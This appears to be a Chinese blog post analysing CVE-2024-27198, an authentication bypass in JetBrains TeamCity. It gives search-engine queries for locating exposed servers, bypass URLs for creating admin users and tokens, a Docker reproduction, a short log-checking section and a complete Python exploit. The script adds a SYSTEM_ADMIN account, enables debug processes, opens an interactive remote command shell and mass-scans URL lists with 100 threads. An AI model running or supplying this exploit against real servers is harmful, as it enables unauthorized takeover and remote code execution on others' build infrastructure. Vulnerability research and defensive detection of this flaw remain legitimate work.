【漏洞分析】CVE-2024-27198可RCE身份验证绕过JetBrains TeamCity

news2025/1/10 16:45:08

CVE-2024-27198可RCE身份验证绕过JetBrains TeamCity

    • 一、基本原理
    • 二、创建新的管理员用户
    • 三、自我检查
    • 四、POC

请添加图片描述

一、基本原理

向存在漏洞服务器发送一个不存在的页面请求
?jsp=/app/rest/server;.jsp
这会使服务器报错提供版本信息,且无需登录
Fofa
app=“JET_BRAINS-TeamCity”
ZoomEye
app:“JetBrains TeamCity”
Shodan
http.component:“teamcity”

二、创建新的管理员用户

通过向服务器的用户管理API发送请求,包含所需的用户名和密码
<teamcitysite>/hax?jsp=/app/rest/users;.jsp
或为自己生成管理员token,巩固权限
<teamcitysite>/hax?jsp=/app/rest/users/id:1/tokens/TokenName;.jsp

例如我们可以get‘请求如下
GET <teamcitysite>/hax?jsp=/app/rest/server;.jsp HTTP/1.1
服务器响应如下
C:\Users\>curl -ik http://x.x.x.x:8111/hax?jsp=/app/rest/server;.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 794
Date: Wed, 14 Feb 2024 17:24:59 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><server version="2023.11.3 (build 147512)" versionMajor="2023" versionMinor="11" startTime="20240212T021131-0800" currentTime="20240214T092459-0800" buildNumber="147512" buildDate="20240129T000000-0800" internalId="cfb27466-d6d6-4bc8-a398-8b777182d653" role="main_node" webUrl="http://localhost:8111" artifactsUrl=""><projects href="/app/rest/projects"/><vcsRoots href="/app/rest/vcs-roots"/><builds href="/app/rest/builds"/><users href="/app/rest/users"/><userGroups href="/app/rest/userGroups"/><agents href="/app/rest/agents"/><buildQueue href="/app/rest/buildQueue"/><agentPools href="/app/rest/agentPools"/><investigations href="/app/rest/investigations"/><mutes href="/app/rest/mutes"/><nodes href="/app/rest/server/nodes"/></server>

根据该响应确定服务存在漏洞

三、复现过程
下载存在漏洞的版本
docker pull jetbrains/teamcity-server:2023.11.3
启动容器
docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
在http://localhost:8111中完成TeamCity的基本设置

请添加图片描述

使用管理员账户登录,查看后台User中是否只有当前管理员这个账号

http://localhost:8111/admin/admin.html?item=users
请添加图片描述

使用POC添加一个新用户(POC在文末

python3 CVE-2024-27198.py -t http://localhost:8111 -u admin0 -p admin0

回到用户界面可以看到新添加的用户
在这里插入图片描述

MetaSploit也发布了针对此漏洞的Module,大家可以自己尝试下。
在这里插入图片描述

三、自我检查

看日志UI或文件

可以在日志中看到新用户的创建情况http://localhost:8111/admin/admin.html?item=audit
在这里插入图片描述

在文件系统上的 Docker 容器中,TeamCity 日志位于 /opt/teamcity/logs 下:
在这里插入图片描述

通过查看 teamcity-activities.log 文件,我们可以看到正在创建的新用户,plugin被上传、禁用和删除,并删除一个新token。
在这里插入图片描述

在 teamcity-server.log 中:

在这里插入图片描述

四、POC

import random
import string
import urllib3
import argparse
import requests
import xml.etree.ElementTree as ET

from rich.console import Console
from urllib.parse import quote_plus
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class TeamCity:
    def __init__(self, url, os="windows", verbose=False):
        self.url = url
        self.os = os
        self.verbose = verbose
        self.console = Console()

    def custom_print(self, message: str, header: str) -> None:
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        self.console.print(
            f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
        )

    @staticmethod
    def generate_random_credentials():
        username = "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
        password = "".join(random.choices(string.ascii_letters + string.digits, k=10))
        return username, password

    def add_user(self):
        username, password = self.generate_random_credentials()
        user_data = {
            "username": username,
            "password": password,
            "email": f"{username}@example.com",
            "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]},
        }
        headers = {"Content-Type": "application/json"}
        add_user_url = f"{self.url}/hax?jsp=/app/rest/users;.jsp"
        try:
            response = requests.post(
                add_user_url, json=user_data, headers=headers, verify=False
            )
            if response.status_code == 200:
                user_info = self.parse_user_response(response.text)
                if user_info:
                    self.custom_print(
                        f"User created successfully. Username: {user_info['username']}, ID: {user_info['id']}, Password: {password}",
                        "+",
                    )
                    token_info = self.generate_user_token(user_info["id"])
                    if token_info:
                        modify_property = self.modify_internal_properties(
                            token_info["value"], "rest.debug.processes.enable", "true"
                        )
                        self.interactive_shell(
                            token_info["value"]
                        ) if modify_property else None
                else:
                    self.custom_print("User created but failed to parse response.", "!")
            else:
                self.custom_print(
                    f"Failed to create user. Status Code: {response.status_code}", "-"
                )
        except requests.exceptions.RequestException as e:
            self.custom_print(f"Request failed: {e}", "-") if self.verbose else None

    def generate_user_token(self, user_id):
        token_name = "".join(random.choices(string.ascii_letters + string.digits, k=10))
        token_url = (
            f"{self.url}/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp"
        )
        try:
            response = requests.post(token_url, verify=False)
            if response.status_code == 200:
                token_info = self.parse_token_response(response.text)
                if token_info:
                    self.custom_print(
                        f"Token created successfully for user ID: {user_id}. Token Name: {token_name}, Token: {token_info['value']}",
                        "+",
                    )
                    return token_info
                else:
                    self.custom_print(
                        "Token created but failed to parse response.", "!"
                    )
            else:
                self.custom_print(
                    f"Failed to create token. Status Code: {response.status_code}", "-"
                )
        except requests.exceptions.RequestException as e:
            self.custom_print(f"Request failed: {e}", "-")

    def parse_user_response(self, response_text):
        try:
            root = ET.fromstring(response_text)
            user_info = {
                "username": root.attrib.get("username"),
                "id": root.attrib.get("id"),
                "email": root.attrib.get("email"),
            }
            return user_info
        except ET.ParseError as e:
            self.custom_print(f"Failed to parse user XML response: {e}", "!")
            return None

    def modify_internal_properties(self, token, key, value):
        uri = f"{self.url}/admin/dataDir.html"
        headers = {"Authorization": f"Bearer {token}"}
        params = {
            "action": "edit",
            "fileName": "config/internal.properties",
            "content": f"{key}={value}" if value else "",
        }
        try:
            response = requests.post(uri, headers=headers, params=params, verify=False)
            if response.status_code == 200:
                self.custom_print("Internal properties modified successfully.", "+")
                return True
            else:
                self.custom_print(
                    f"Failed to modify internal properties. Status Code: {response.status_code}",
                    "-",
                )
                return False
        except requests.exceptions.RequestException as e:
            self.custom_print(f"Request failed: {e}", "-")
            return False

    def execute_remote_command(self, token, os_type="linux", command="whoami"):
        headers = {
            "Authorization": f"Bearer {token}",
        }

        match os_type.lower():
            case "windows":
                exe_path = "cmd.exe"
                params = "/c"
            case "linux":
                exe_path = "/bin/sh"
                params = "-c"

        command_encoded = quote_plus(command)
        execute_url = f"{self.url}/app/rest/debug/processes?exePath={exe_path}&params={params}&params={command_encoded}"

        try:
            response = requests.post(execute_url, headers=headers, verify=False)
            if response.status_code == 200:
                return response.text
            else:
                return False
        except requests.exceptions.RequestException:
            return False

    def parse_response(self, response_text, parse_type):
        try:
            root = ET.fromstring(response_text)
            if parse_type == "version":
                return root.attrib.get("version")
        except ET.ParseError as e:
            self.custom_print(
                f"Failed to parse XML response: {e}", "!"
            ) if self.verbose else None
        return None

    def process_users(self, users_xml):
        try:
            root = ET.fromstring(users_xml)
            users_count = root.attrib.get("count", "0")
            self.custom_print(f"Total Users: {users_count}", "*")
            for user in root.findall("user"):
                username = user.attrib.get("username", "N/A")
                name = user.attrib.get("name", "N/A")
                user_id = user.attrib.get("id", "N/A")
                self.custom_print(f"User: {username}, Name: {name}, ID: {user_id}", "*")
        except ET.ParseError as e:
            self.custom_print(f"Failed to parse users XML response: {e}", "!")

    def parse_token_response(self, response_text):
        try:
            root = ET.fromstring(response_text)
            token_info = {
                "name": root.attrib.get("name"),
                "value": root.attrib.get("value"),
                "creationTime": root.attrib.get("creationTime"),
            }
            return token_info
        except ET.ParseError as e:
            self.custom_print(f"Failed to parse token XML response: {e}", "!")
            return None

    def make_request(self):
        version_url = f"{self.url}/hax?jsp=/app/rest/server;.jsp"
        users_url = f"{self.url}/hax?jsp=/app/rest/users;.jsp"
        try:
            version_response = requests.get(version_url, verify=False, timeout=20)
            users_response = requests.get(users_url, verify=False, timeout=20)
            version = self.parse_response(version_response.text, "version")
            if version_response.status_code == 200 and version:
                self.custom_print(
                    f"{self.url:<{30}} | Server Version: {version:<{30}} | CVE-2024-27198",
                    "+",
                )
                if users_response.status_code == 200 and self.verbose:
                    self.process_users(users_response.text)
                else:
                    self.custom_print(
                        "Failed to retrieve user information.", "!"
                    ) if self.verbose else None
                    return True
            else:
                self.custom_print(
                    f"{self.url} is not vulnerable.", "-"
                ) if self.verbose else None
                return False

        except requests.exceptions.RequestException as e:
            self.custom_print(f"Request failed: {e}", "-") if self.verbose else None

    def interactive_shell(self, token):
        test_command_output = self.execute_remote_command(
            token, self.os, command="echo Ready"
        )
        if test_command_output:
            self.custom_print("Shell is ready, please type your commands UwU", "!")
        else:
            self.custom_print(
                "Failed to execute test command. Remote command execution may not be available.",
                "-",
            )
            return

        session = PromptSession(history=InMemoryHistory())

        while True:
            try:
                cmd = session.prompt(HTML("<ansired><b>$ </b></ansired>"))
                match cmd.lower():
                    case "exit":
                        break
                    case "clear":
                        self.console.clear()
                    case _:
                        output = self.execute_remote_command(
                            token, self.os, command=cmd
                        )
                        if output:
                            self.custom_print(f"Output:\n{output}", "+")
                        else:
                            self.custom_print("Failed to execute command.", "-")
            except KeyboardInterrupt:
                self.modify_internal_properties(
                    token, "rest.debug.processes.enable", "false"
                )
                break


def scan_url(url, output):
    team_city = TeamCity(url)
    if team_city.make_request():
        with open(output, "a") as file:
            file.write(f"{url}\n")


def main():
    parser = argparse.ArgumentParser(
        description="""
    Exploit script for CVE-2024-27198: Demonstrates an authentication bypass vulnerability in JetBrains TeamCity versions prior to 2023.11.4. 
    This tool can add a user with administrative privileges or list users on vulnerable servers, providing a proof of concept for unauthorized admin actions."""
    )

    parser.add_argument("-u", "--url", type=str, help="URL to TeamCity server.")
    parser.add_argument(
        "--add-user",
        action="store_true",
        help="Add a new user with random credentials and parse response.",
    )
    parser.add_argument(
        "--payload-type",
        type=str,
        default="linux",
        help="Payload type ('linux' or 'windows').",
    )
    parser.add_argument(
        "-l", "--list", type=str, help="File containing list of URLs to process."
    )
    parser.add_argument(
        "-o",
        "--output",
        type=str,
        help="Path to the output file where results will be saved.",
    )

    args = parser.parse_args()

    if args.list:
        urls = []
        with open(args.list, "r") as file:
            urls = [line.strip() for line in file.readlines()]

        with alive_bar(len(urls), enrich_print=False) as bar:
            with ThreadPoolExecutor(max_workers=100) as executor:
                future_to_url = {
                    executor.submit(scan_url, url, args.output): url for url in urls
                }
                for _ in as_completed(future_to_url):
                    bar()
    elif args.url:
        team_city = TeamCity(args.url, args.payload_type, verbose=True)
        if args.add_user:
            team_city.add_user()
        else:
            team_city.make_request()
    else:
        parser.print_help()


if __name__ == "__main__":
    main()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1508651.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux工具 - 好用的yum包管理器

~~~~ 前言yum是什么为什么有yum如何使用yum配置用户yum源为什么要配置yum源具体配置备份CentOS-Base.repo文件下载对应阿里yum源到本目录/etc/yum.repos.d/清理yum并生成缓存更改配置文件CentOS-Base.repo更新yum 常用命令listinstall选项-y remove选项-y update 结语 前言 本…

ON1 Portrait AI 2023:智能美颜,打造完美人像 mac版

在数字化时代&#xff0c;人像摄影的需求和追求愈发高涨。为了满足摄影师对于完美人像的追求&#xff0c;ON1推出了全新的ON1 Portrait AI 2023。这款软件结合了先进的人工智能技术与人像处理的专业知识&#xff0c;为人像摄影带来了前所未有的智能体验。 ON1 Portrait AI 202…

2024.3.11

1.结构体数组 代码&#xff1a; #include<myhead.h>struct Stu {char name[100];int age;double score; };int main(int argc, const char *argv[]) {int i,j;struct Stu t{"z",1,1};struct Stu arr[4]{{"甲乙",12,98},{"陈二",13,77},{…

docker启动时环境变量不生效(docker打包成镜像后环境变量失效)

前言 因项目需要多处部署&#xff0c;为了部署的方便&#xff0c;于是准备将项目环境打包成docker镜像以便于部署。mq、mysql这些在仓库中都有现成的镜像&#xff0c;虽然java和nginx的也都有&#xff0c;但是不知道当时是怎么想的&#xff0c;就不想搞太多镜像&#xff0c;也…

五、OpenAI实战之Assistants API

在8线小城的革委会办公室里&#xff0c;黑8和革委会主任的对话再次展开。 黑8&#xff1a;主任&#xff0c;您知道吗&#xff1f;除了OpenAI API&#xff0c;现在还有一项新的技术叫做Assistants API&#xff0c;它可以帮助我们更好地进行对话和沟通。 主任&#xff1a;Assis…

Redhat Linux(RHEL) - Primavera P6 EPPM 安装及分享

引言 继上一期发布的Oracle Linux版环境发布之后&#xff0c;近日我又制作了基于Redhat Linux 的P6虚拟机环境&#xff0c;同样里面包含了全套P6 最新版应用服务 此虚拟机仅用于演示、培训和测试目的。如您在生产环境中使用此虚拟机&#xff0c;请先与Oracle Primavera销售代表…

SD-WAN能解决企业网络的哪些问题?

SD-WAN技术的崛起为企业网络带来了全新的解决方案。在数字化转型、云计算、远程办公和5G等领域&#xff0c;SD-WAN技术展现出强劲的市场趋势。那么&#xff0c;SD-WAN究竟能够解决企业网络中的哪些难题呢&#xff1f; 提升网络带宽利用率 传统网络在连接分支机构时&#xff0c;…

解决input事件监听拼音输入法导致高频事件

1、业务场景 在文本框中输入内容&#xff0c;执行查询接口&#xff0c;但遇到一个问题&#xff0c;当用拼音打字写汉字去搜索的时候&#xff0c;会输入一些字母拼成汉字&#xff0c;怎么能监听等拼音文字输入完成后再触发文本框监听事件 2、解决方案 通过查阅资料得知在输入中…

Qt教程 — 1.3 如何创建Qt项目

目录 1 新建一个项目 2 项目文件介绍 2.1 项目文件夹介绍 2.2 配置文件*.pro 2.3 头文件*.h 2.4 源文件*.cpp 2.5 样式文件*.ui 3 修改 ui 文件 4 项目编译&调试&运行 4.1 运行 4.2 编译报错 1 新建一个项目 (1) 新建项目&#xff0c;方法一&#xff1a;打…

Docker Desktop将镜像存储位置从C盘迁移到其它盘

一、简述 Docker Desktop默认安装在C盘,默认镜像存储位置在 C:\用户\Administrator\AppData\Local\Docker\wsl Docker Desktop 通过WSL2启动,会自动创建2个子系统,分别对应2个 vhdx 硬盘映像文件。 可以命令行执行wsl --list -v 看到 二、迁移步骤 1、在Docker Desktop…

基于jsp+mysql+Spring+mybatis的SSM汽车保险理赔管理系统设计和实现

基于jspmysqlSpringmybatis的SSM汽车保险理赔管理系统设计和实现 博主介绍&#xff1a;多年java开发经验&#xff0c;专注Java开发、定制、远程、文档编写指导等,csdn特邀作者、专注于Java技术领域 作者主页 央顺技术团队 Java毕设项目精品实战案例《1000套》 欢迎点赞 收藏 ⭐…

C++ 之LeetCode刷题记录(三十九)

&#x1f604;&#x1f60a;&#x1f606;&#x1f603;&#x1f604;&#x1f60a;&#x1f606;&#x1f603; 开始cpp刷题之旅。 目标&#xff1a;执行用时击败90%以上使用 C 的用户。 22. 括号生成 数字 n 代表生成括号的对数&#xff0c;请你设计一个函数&#xff0c;用…

在文件夹下快速创建vue项目搭建vue框架详细步骤

一、首先在你的电脑目录下新建一个文件夹 进入该文件夹并打开控制台&#xff08;输入cmd指令&#xff09; 进入控制台后输入 vue create springboot_vue (自己指定名称) 如果出现这类报错如&#xff1a;npm install 的报错npm ERR! network request to http://registry.cnp…

【JAVA重要知识 | 第八篇】Java注解总结

文章目录 8.注解8.1注解的定义8.1.1何为注解&#xff1f;8.1.2何为元数据和元编程&#xff1f;&#xff08;1&#xff09;元数据&#xff08;2&#xff09;元编程&#xff08;3&#xff09;总结 8.2注解的分类8.2.1常用的注解8.2.2自定义注解8.2.3元注解&#xff08;1&#xff…

轻松掌握锁冲突问题的排查方法——《OceanBase诊断系列》之八

1. 前言 OceanBase数据库通过两阶段封锁机制确保读写事务并发控制的正确性。在高冲突场景下&#xff0c;事务处理中经常会遇到行锁冲突的问题。然而&#xff0c;许多OceanBase用户对于何时发生锁冲突&#xff0c;锁冲突的表现如何&#xff0c;以及如何排查锁冲突的原因&#x…

python爬虫(6)之处理数组

1、拆分数组 1、spilt&#xff08;&#xff09;函数 此函数的用处是将数组均分成几个数组 演示如下&#xff1a; import numpy as np ac np.array([1,2,8,9,3,5,5,8]) ac1 np.split(ac,2) ac2 np.split(ac,[3,6]) print(ac1,ac2) 结果如下&#xff1a; 其中若是一个数…

【计算机视觉】目标跟踪任务概述和算法介绍

一、前言 1.1&#xff1a;目标跟踪VS目标检测&#xff1a;区别和联系 区别&#xff1a; 任务目标 目标跟踪任务的目标是在视频序列中跟踪一个特定目标的位置&#xff0c;即给定第一帧中的目标位置后&#xff0c;在后续帧中确定目标的位置。而目标检测任务的目标是在静态图像中…

解决 Node.js 中 npm ERR! errno CERT_HAS_EXPIRED问题

出自 BV1MN411y7pw&#xff0c; P94 黑马AJAX-Node.js-Webpack教学视频中npm包下载dayjs出错情况 输入 npm i dayjs指令之后出错&#xff1a; npm ERR! errno CERT_HAS_EXPIREDnpm ERR! A complete log of this run can be found in: C:\Users\24541\AppData\Local\npm-cache…

【leetcode C++】最小栈

leetcode 155. 最小栈 题目 设计一个支持 push &#xff0c;pop &#xff0c;top 操作&#xff0c;并能在常数时间内检索到最小元素的栈。 实现 MinStack 类: MinStack() 初始化堆栈对象。void push(int val) 将元素val推入堆栈。void pop() 删除堆栈顶部的元素。int top() 获…

lspci详解

lspci的作用 lspci是一个Linux命令&#xff0c;用于列出系统中的PCI总线设备信息。PCI&#xff08;Peripheral Component Interconnect&#xff09;是一种常见的计算机总线标准&#xff0c;用于连接各种外部设备&#xff08;如网卡、显卡、声卡等&#xff09;到计算机主板上。…